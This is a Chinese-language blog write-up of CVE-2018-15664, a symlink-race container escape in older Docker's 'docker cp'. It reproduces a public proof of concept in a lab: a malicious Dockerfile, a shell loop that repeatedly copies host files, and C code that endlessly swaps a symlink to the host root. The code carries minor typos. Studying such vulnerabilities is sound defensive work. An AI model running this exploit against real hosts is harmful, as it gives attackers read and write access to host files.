前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2018-15664:Docker CP任意读写主机文件

CVE-2018-15664:Docker CP任意读写主机文件

作者头像
Al1ex
发布2022-09-07 17:17:14
8020
发布2022-09-07 17:17:14
举报
文章被收录于专栏:网络安全攻防网络安全攻防
影响范围

Docker 17.06.0-ce~17.12.1-ce:rc2

Docker 18.01.0-ce~18.06.1-ce:rc2

漏洞类型

容器逃逸

利用条件

TOCTOU

漏洞概述

2019年6月份,Docker容器被曝存在权限逃逸安全漏洞(漏洞编号:CVE-2018-15664),攻击者可利用此漏洞访问主机文件系统的任意文件,该漏洞攻击的基本前提是FllowSymlinkInScope遭受了最基本的TOCTOU攻击(即time-to-check-time-to-use攻击,黑客可利用窗口期在解析资源路径之后但在分配的程序开始在资源上操作之前修改路径),这里的FllowSymlinkInScope的目的是获取一个既定路径并以安全的方式将其解析,就像该进程是在容器内那样,完整路径被解析后被解析的路径传递了一个比特位,之后在另外一个比特位上操作(在docker cp情况下,在创建流式传输到客户端的文档时打开),如果攻击者能够在路径解析之后但在操作之前添加一个符号链接组件,那么就能以root身份在主机上解析符号链接路径组件,在"Docker cp"情况下它将导致任何人读取并写入主机任何路径的访问权限

漏洞环境

这里使用Metarget来构建环境:

代码语言:javascript
复制
./metarget cnv install cve-2018-15664
docker --version
漏洞分析

漏洞POC:

https://github.com/Metarget/cloud-native-security-book/tree/main/code/0302-%E5%BC%80%E5%8F%91%E4%BE%A7%E6%94%BB%E5%87%BB/02-CVE-2018-15664/symlink_race/build

文件目录查看:

代码语言:javascript
复制
root@ubuntu:/home/ubuntu# tree symlink_race
symlink_race
├── build
│   ├── Dockerfile
│   └── symlink_swap.c
├── run_read.sh
└── run_write.sh

1 directory, 4 files
root@ubuntu:/home/ubuntu#

文件用途说明:

  • Dockerfile : 构造Docker镜像文件
  • symlink_swap.c : 运行在Docker容器内部的POC
  • run_read.sh : 实现读取宿主机文件内容的Shell脚本
  • run_write.sh : 实现向宿主机中写文件的Shell脚本

Dockerfile内容:

首先获取基础镜像opensuse/tumbleweed,然后在镜像里编译添加了poc文件/symlink_swap , 最后写了一个falg 性质的文件/w00t_w00t_im_a_flag,内容为"FAILED -- INSIDE CONTAINER PATH"

代码语言:javascript
复制
# Build the binary.
FROM opensuse/tumbleweed
RUN zypper in -y gcc glibc-devel-static
RUN mkdir /builddir
COPY symlink_swap.c /builddir/symlink_swap.c
RUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c

# Set up our malicious rootfs.
FROM opensuse/tumbleweed
ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag
ARG SYMSWAP_PATH=/totally_safe_path
RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"
COPY --from=0 /builddir/symlink_swap /symlink_swap
ENTRYPOINT ["/symlink_swap"]

Run_read.sh内容:

代码语言:javascript
复制
SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag

# Create our flag.
echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 000 "$SYMSWAP_TARGET"

# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
    --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
    --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")

# Now continually try to copy the files.
idx=0
while true
do
    mkdir "ex${idx}"
    docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"
    idx=$(($idx + 1))
done

Run_read.sh脚本在host主机/w00t_w00t_im_a_flag文件写入falg内容SUCCESS -- COPIED FROM THE HOST然后build,run cyphar/symlink_swap容器,最后写了个while死循环实现不间断docker cp行为

Symlink_swap.c重点内容:

代码语言:javascript
复制
    /*
     * Now create a symlink to "/" (which will resolve to the host's root if we
     * win the race) and a dummy directory at stash_path for us to swap with.
     * We use a directory to remove the possibility of ENOTDIR which reduces
     * the chance of us winning.
     */
    if (symlink("/", symlink_path) < 0)
        bail("create symlink_path");
    if (mkdir(stash_path, 0755) < 0)
        bail("mkdir stash_path");

    /* Now we do a RENAME_EXCHANGE forever. */
    for (;;) {
        int err = rrenameat2(AT_FDCWD, symlink_path,
                            AT_FDCWD, stash_path, RENAME_EXCHANGE);
        if (err < 0)
            perror("symlink_swap: rename exchange failed");
    }
    return 0;
}

symlink_path为argv[1]传递过来的参数,从run_read.sh中我们得知为目录/totally_safe_path,然后使用symlink函数将symlink_path软链接至系统根目录,最后使用for (;;)死循环调用rrenameat2函数,创造赢得TOCTOU攻击的机会,根据作者介绍poc脚本只有1%的机会成功利用TOCTOU攻击,但是在10s后就极可能的成功获取到host主机上的文件

漏洞利用

执行run_write.sh脚本运行恶意容器,然后不断执行docker cp命令,漏洞未触发时,宿主机上的/w00t_w00t_im_a_flag的内容为"FAILED -- HOST FILE UNCHANGED"

代码语言:javascript
复制
./run_write.sh
参考连接

https://seclists.org/oss-sec/2019/q2/131

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-08-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 影响范围
  • 漏洞类型
  • 利用条件
  • 漏洞概述
  • 漏洞环境
  • 漏洞分析
  • 漏洞利用
  • 参考连接
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档